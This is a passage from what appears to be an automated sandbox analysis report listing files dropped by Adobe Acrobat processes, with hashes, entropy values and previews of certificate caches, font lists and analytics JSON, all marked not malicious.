Size (bytes):	8720
Entropy (8bit):	3.7742228060413825
Encrypted:	false
SSDEEP:	48:7Mqp/E2ioyV2ioy9oWoy1Cwoy1CKOioy1noy1AYoy1Wioy1hioybioy1oy1noy1V:7Jpju2FBXKQUkb9IVXEBodRBkI
MD5:	A5644CB16A2CF26F34B69CD36D0B6A02
SHA1:	6A2B72706C43CC2075BA81C60A6348EE466812F4
SHA-256:	005E0546E2D5946DFD8955BEC3E7615EE376B1CB6ADB77CDF9A63CD8E868A4BE
SHA-512:	AED7710DD3CA07693A82586E2A764CEA8485C5BFFA82608215C85E9EE0DA655D3F3A58B860DA23CCEA6CB1BDBE62CDBF29D86C9991585F0444D54EE27EABF284
Malicious:	false
Preview:	.... .c.......t................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7321365340992054
Encrypted:	false
SSDEEP:	3:kkFkl49HLkpkPtfllXlE/HT8k6u1NNX8RolJuRdxLlGB9lQRYwpDdt:kKh9rkKPeT8a7NMa8RdWBwRd
MD5:	696317866678DADB683F16B4B361BE58
SHA1:	FB0332ECFD3412A443645EA34D13A6A2F6284917
SHA-256:	AD4E7D596FD63FBE15451E2CB2582B5E843439D7588B5FD182207C995BD170A3
SHA-512:	5A7AEB260F43DE16846D3A61C9305AB6CC8EF8B51FE5CF14B0186345A2C47393DC0F79FC990096E3DFB6018D64E194726285B2D09D4D058689E8E32F9D26B66B
Malicious:	false
Preview:	p...... ...........n.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.234591379520364
Encrypted:	false
SSDEEP:	6:kKEtKPL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:sMiDImsLNkPlE99SNxAhUe/3
MD5:	940EF0AB9BA3AB3D890A3AF1789E10A9
SHA1:	8C4CCC7E405A769E90C3D0D065D719B7F20DE1E4
SHA-256:	7562BF559579D6D683B1F07EE85215424A42AE2AA1466E9DCDF057F0EE82D1E5
SHA-512:	C8999901B829936F41C788318510042B89C4668B890898A34601A1A7268715999F2C878834BAE0664C75A911CC6782BC68C41E06747A6EAFA403BD4B1F1998DA
Malicious:	false
Preview:	p...... .........%"..c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7720

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7720

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.350184998217564
Encrypted:	false
SSDEEP:	6:YEQXJ2HXlLECRQjyHHVoZcg1vRcR0Y8JqoAvJM3g98kUwPeUkwRe9:YvXKXRESlWZc0vfJZGMbLUkee9
MD5:	9E6025CF14F3EF429DDEBE34E818AB0F
SHA1:	0D6EE3707AF9485DAE2CE27F139682095540CDBF
SHA-256:	241C15F2017A1EB779DFEA094EB9397D77E744D303538740B2F715228539024E
SHA-512:	4C8C4ED20E470AAFB2D711959794DEAF6D26ED8EDD3E1CCBAE5516CE65355FC9DD59A8DEE09BF30AA3E0CAF835D318B1A91E78B9C207E7F5BA7D91A0235A4380
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ac6a78b9-a85c-4756-8df7-84ae5a71186b","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730489493,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.300213740607323
Encrypted:	false
SSDEEP:	6:YEQXJ2HXlLECRQjyHHVoZcg1vRcR0Y8JqoAvJfBoTfXpnrPeUkwRe9:YvXKXRESlWZc0vfJZGWTfXcUkee9
MD5:	2C52A1720DB6DB45E77A6EBFB328ADB7
SHA1:	B1809DBEA317E1E4C17E4276428419384A2653A0
SHA-256:	FA9CF06970C8B88D11C83DF56C384EB830701DA0C60434EC96648B8240A134C6
SHA-512:	81BC707C41B4CDFF036F7F0A18F7BFD5C6F18D626B4DF4AE3FA182F86893BFD0716B309ED7A1A91CC377035EDC53E63A0AB34CB421A7EA83DAC46A668B309813
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ac6a78b9-a85c-4756-8df7-84ae5a71186b","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730489493,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.27847323596513
Encrypted:	false
SSDEEP:	6:YEQXJ2HXlLECRQjyHHVoZcg1vRcR0Y8JqoAvJfBD2G6UpnrPeUkwRe9:YvXKXRESlWZc0vfJZGR22cUkee9
MD5:	9B26B85E8C5809B87791E96F6262EF54
SHA1:	B4CCF043B5A1368287C3B363B6AAA2E359E73BDF
SHA-256:	DA8C717D9C2C77699DEDE30595A38196C12940C2C923B53B2846290B152321BB
SHA-512:	8F0C5ECA9D1E31FBDDE433427C46E0100371140D1FAD032CC37FD63920A6E23B80A9473824F473EF4E74DC6072FE7403B8E1B8C4B6B6BCE98B56F0328E1EF4E7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ac6a78b9-a85c-4756-8df7-84ae5a71186b","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730489493,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.33673310483028
Encrypted:	false
SSDEEP:	6:YEQXJ2HXlLECRQjyHHVoZcg1vRcR0Y8JqoAvJfPmwrPeUkwRe9:YvXKXRESlWZc0vfJZGH56Ukee9
MD5:	FA950E5408938A3650FBF7D74328CBD5
SHA1:	025103A56C28249BB1CAB3B6DDE419753A9AF40B
SHA-256:	5C35D063DC08726AED3D6BDB9B6A61164324BD82C2AF5D0CA847EF09E376AC78
SHA-512:	21520D6939772E299C493642823966F012B3BEB80A9C453597FE9E704857CE17C8C1AB2C1BC9B377AE087E31B97FD596ABC1EFB28DB45376843194DE4B884455
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ac6a78b9-a85c-4756-8df7-84ae5a71186b","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730489493,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.687475091624884
Encrypted:	false
SSDEEP:	24:Yv6XBlWzvh+pLgE9cQx8LennAvzBvkn0RCmK8czOCCSV:YvuOZ+hgy6SAFv5Ah8cv/V
MD5:	C7CD3F8D3030B5E03F29785F6E195961
SHA1:	FF816DB48132C45D65A5165BE88EFC5DD6313217
SHA-256:	A5BCB44067FE5A0EEA48E4A868EB2D6E8C80F8A0C66A876BF54D219A52331FC4
SHA-512:	3254D21C3C6991D61D942EFB1411F135B712E2DDCEA2A354CBA4D3BFC5F96CA9B37185D4E961634460D6488D1920012657D9D82431681DCB3A2156E8BA7E1D0A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ac6a78b9-a85c-4756-8df7-84ae5a71186b","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730489493,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.283215095874767
Encrypted:	false
SSDEEP:	6:YEQXJ2HXlLECRQjyHHVoZcg1vRcR0Y8JqoAvJf8dPeUkwRe9:YvXKXRESlWZc0vfJZGU8Ukee9
MD5:	DBEF943B34869D5DC90B8EE7F8A6D4B3
SHA1:	C0C5A8619C50D20F205D88713C44936CCF663EE0
SHA-256:	3E6AE4FCC8F9A400DE2DE15EA38BD87FEACDA5265270DF67CC8A82B9BFB1DE15
SHA-512:	4FFB570F0C5142686CB0F1CB5F7B8F55C58A43C4C74E3117DEE1868701A30707D24C6045961F96EAE468BCE6EBDB4EE0D7CF91D117BA678EF3A8CD4978A60E1F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ac6a78b9-a85c-4756-8df7-84ae5a71186b","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730489493,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.288404563611737
Encrypted:	false
SSDEEP:	6:YEQXJ2HXlLECRQjyHHVoZcg1vRcR0Y8JqoAvJfQ1rPeUkwRe9:YvXKXRESlWZc0vfJZGY16Ukee9
MD5:	80E00B8CEFDDFE4974E84E08DF0A5BB1
SHA1:	9D95F53FDC404986C33DAFBCBA83FDBEB88F1F20
SHA-256:	171FC1F2992B6968BA1F6F620B6AA26218995ED451DAC6A1D4BFCBFB6C79D130
SHA-512:	E91DD9A426A91A7E409BCBB7F5F04325E89F1A65DA6DDAE4D9163C7C999D3E23EF4198064ECB59EDD3250A4710FC4318FD4AFE78A438B7C4417DFCCC9F4D0D3A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ac6a78b9-a85c-4756-8df7-84ae5a71186b","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730489493,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.29352334967423
Encrypted:	false
SSDEEP:	6:YEQXJ2HXlLECRQjyHHVoZcg1vRcR0Y8JqoAvJfFldPeUkwRe9:YvXKXRESlWZc0vfJZGz8Ukee9
MD5:	7E7CCFC526F540815419356F95AA7960
SHA1:	C9D57BD6256B95874A7D2F492BD970FF23587221
SHA-256:	B2223E23BE071C1DBE9759DE0AE54215893E687BC908A07DAB730F6F7BDC7CC6
SHA-512:	F300A74BE9458708D1E67608F339CF0582ACFC2EBD804951521BC6E513972A3CF502B17A9F7C76CD1C6CF900F4451474295A3A98474CE1F5C36E6794867990AC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ac6a78b9-a85c-4756-8df7-84ae5a71186b","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730489493,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
